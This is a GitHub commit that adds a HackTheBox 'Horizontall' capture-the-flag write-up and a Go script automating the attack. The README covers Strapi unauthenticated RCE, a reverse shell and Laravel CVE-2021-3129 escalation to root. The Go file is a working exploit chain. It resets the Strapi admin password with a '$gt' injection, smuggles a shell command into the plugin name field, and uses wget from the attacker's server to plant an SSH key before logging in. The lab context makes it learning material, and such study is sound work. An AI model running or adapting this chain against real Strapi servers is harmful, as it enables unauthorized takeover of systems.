Skip to content

Commit 48428d2

Browse files
sadeli413sadeli413
authored and
sadeli413
committed
Add Horizontall writeup
1 parent b69d5a1 commit 48428d2

16 files changed

+189
-0
lines changed

horizontall/README.md

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
# HACKTHEBOX: Horizontall
2+
3+
Horizontall is vulnerable to unauthenticated RCE.
4+
Local to the box is a Laravel web server running as root, which is also vulnerable to RCE.
5+
6+
## Recon and Enumeration
7+
Nmap scan reveals a web application on port 80 with a name of `http://horizontall.htb`
8+
![nmap](screenshots/nmap.png)
9+
10+
Use inspect element to find that there is a method called `getReviews`. It makes a request to `http://api-prod.horizontall.htb/reviews`
11+
![inspect](screenshots/inspect.png)
12+
13+
Visit the host `http://api-prod.horizontall.htb`. It's a very minimalistic `Welcome` so running a ffuf scan will give more info.
14+
15+
![welcome](screenshots/welcome.png)
16+
17+
Looking at the ffuf scan shows an admin page running `strapi`.
18+
![ffuf](screenshots/ffuf.png)
19+
![admin](screenshots/admin.png)
20+
21+
## Exploitation and user.txt
22+
23+
A quick search for strapi on exploitdb shows that version 3.0.0-beta.17.4 is vulnerble to unauthenticated remote code execution. [Here is a scripted exploit](https://www.exploit-db.com/exploits/50239) for the vulnerability.
24+
![searchsploit](screenshots/searchsploit.png)
25+
26+
Running the exploit gives a blind RCE. Running `ping -c 5 <attacker ip>` confirms the code execution
27+
![rce](screenshots/rce.png)
28+
29+
Use the RCE to get a reverse shell.
30+
![payload](screenshots/payload.png)
31+
![reversehsell](screenshots/reverse_shell.png)
32+
33+
The user.txt flag in `/home/developer` is readable by all users.
34+
![user](screenshots/user.png)
35+
36+
## Privilege Escalation and root.txt
37+
Running `netstat -tulpn` hows the listening ports. Port 3306 is sql, 1337 is the exploit shell, but 8000 is unknown.
38+
![netstat](screenshots/netstat.png)
39+
40+
It appears that the service on 8000 is a Laravel web app, which can be found via either curl or port forwarding. This screenshot shows port 8000 forwarded to localhost to see that Laravel at version 8, which is vulnerable to remote code execution according to `CVE-2021-3129`.
41+
![laravel](screenshots/laravel.png)
42+
43+
[Here is a scripted exploit](https://github.com/ambionics/laravel-exploits) for the vulnerability. Following the instruction in the readme, and changing `id` to a reverse shell payload drops a reverse shell as root.
44+
![phpggc](screenshots/phpggc.png)
45+
![root](screenshots/root.png)

horizontall/horizontall.go

+144
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
package main
2+
3+
// User ssh session on horizontall
4+
5+
import (
6+
"fmt"
7+
"bytes"
8+
"os"
9+
"os/exec"
10+
"io/ioutil"
11+
"net"
12+
"net/http"
13+
"encoding/json"
14+
)
15+
16+
// Get the JWT string after changing the password
17+
type JsonResponse struct {
18+
Jwt string `json:"jwt"`
19+
}
20+
21+
func main() {
22+
jwt := resetPassword() // Reset the password to get a jwt token
23+
keyname := "id_rsa_horizontall"
24+
rce(jwt, keyname) // Create ssh keys and upload them
25+
sshclient("10.10.11.105", keyname) // SSH into the remote server
26+
}
27+
28+
// Exploit CVE-2019-18818
29+
// Strapi - Set Password (Unauthenticated) vulnerability
30+
func resetPassword() (string) {
31+
// Change the password to "rockyou"
32+
url := "http://api-prod.horizontall.htb/admin/auth/reset-password"
33+
params := `{
34+
"code":{"$gt":0},
35+
"password":"rockyou",
36+
"passwordConfirmation":"rockyou"
37+
}`
38+
headers := make(map[string]string)
39+
headers["Content-Type"] = "application/json; charset=UTF-8"
40+
41+
// Make the post request
42+
response := postRequest(url, params, headers)
43+
defer response.Body.Close()
44+
45+
// Parse the json response to get the jwt for authentication
46+
body, _ := ioutil.ReadAll(response.Body)
47+
fmt.Println(string(body))
48+
return getJwt(body)
49+
}
50+
51+
// Parse json to get the JWT for authentication
52+
func getJwt(body []uint8) (string) {
53+
json_response := new(JsonResponse)
54+
err := json.Unmarshal([]byte(body), &json_response)
55+
check(err, "Could not parse json")
56+
return json_response.Jwt
57+
}
58+
59+
// Exploit CVE-2019-19609
60+
// Strapi - Remote Code Execution (Authenticated)
61+
func rce(jwt, keyname string) {
62+
// Generate a private and public ssh key
63+
sshkeygen(keyname)
64+
65+
// Start an http fileserver in the current directory
66+
port := "8081"
67+
myIP := getMyIp("tun0")
68+
myserver := fmt.Sprintf("http://%s:%s/%s", myIP, port, keyname+".pub")
69+
go httpserver(port)
70+
71+
// Use RCE to upload public ssh key
72+
url := "http://api-prod.horizontall.htb/admin/plugins/install"
73+
params := fmt.Sprintf(`{
74+
"plugin":"documentation && $(%s)",
75+
"port":1337
76+
}`, `mkdir $HOME/.ssh; wget ` + myserver + ` -O $HOME/.ssh/authorized_keys`)
77+
headers := make(map[string]string)
78+
headers["Content-Type"] = "application/json; charset=UTF-8"
79+
headers["Authorization"] = "Bearer " + jwt
80+
81+
// Make the post request
82+
postRequest(url, params, headers)
83+
}
84+
85+
// Create an ssh key to upload
86+
func sshkeygen(output string) {
87+
// Generate the public and private ssh keys
88+
out, err := exec.Command("ssh-keygen", "-f", output, "-t", "rsa").Output()
89+
check(err, output + " already exists")
90+
fmt.Println(string(out))
91+
}
92+
93+
// Start an http fileserver in this directory
94+
func httpserver(port string) {
95+
fs := http.FileServer(http.Dir("."))
96+
http.ListenAndServe(":"+port, fs)
97+
}
98+
99+
// Get my ip address on an interface
100+
func getMyIp(interface_name string) (string) {
101+
device, err := net.InterfaceByName(interface_name)
102+
check(err, "Could not get interface " + interface_name)
103+
addrs, err := device.Addrs()
104+
check(err, "Could not get addrs on " + interface_name)
105+
ip_addr := addrs[0].(*net.IPNet).IP.To4().String()
106+
return ip_addr
107+
}
108+
109+
// SSH into the remote server
110+
func sshclient(ip string, privatekey string) {
111+
// Execute os ssh command
112+
cmd := exec.Command("ssh", "strapi@" + ip, "-i", privatekey)
113+
cmd.Stdin = os.Stdin
114+
cmd.Stdout = os.Stdout
115+
cmd.Stderr = os.Stderr
116+
err := cmd.Run()
117+
check(err, "Could not ssh into the server")
118+
}
119+
120+
// Make an http post request given a URL and json parameters
121+
func postRequest(url, params string, headers map[string]string) (*http.Response) {
122+
// Create a POST request with JSON params
123+
json_data := []byte(params)
124+
request, err := http.NewRequest("POST", url, bytes.NewBuffer(json_data))
125+
check(err, "Could not make POST request")
126+
for key, value := range headers {
127+
request.Header.Add(key, value)
128+
}
129+
130+
// Make the POST request
131+
client := new(http.Client)
132+
response, err := client.Do(request)
133+
134+
check(err, "Could not make POST request")
135+
return response
136+
}
137+
138+
// Check for errors and print a message
139+
func check(err error, message string) {
140+
if err != nil {
141+
fmt.Println(message)
142+
panic(err)
143+
}
144+
}

horizontall/screenshots/admin.png

25.4 KB
Loading

horizontall/screenshots/ffuf.png

60.1 KB
Loading

horizontall/screenshots/inspect.png

94.9 KB
Loading

horizontall/screenshots/laravel.png

82.9 KB
Loading

horizontall/screenshots/netstat.png

46.9 KB
Loading

horizontall/screenshots/nmap.png

106 KB
Loading

horizontall/screenshots/payload.png

15.9 KB
Loading

horizontall/screenshots/phpggc.png

84.5 KB
Loading

horizontall/screenshots/rce.png

156 KB
Loading
34.2 KB
Loading

horizontall/screenshots/root.png

22.1 KB
Loading
62.6 KB
Loading

horizontall/screenshots/user.png

102 KB
Loading

horizontall/screenshots/welcome.png

6.92 KB
Loading

0 commit comments

Comments
 (0)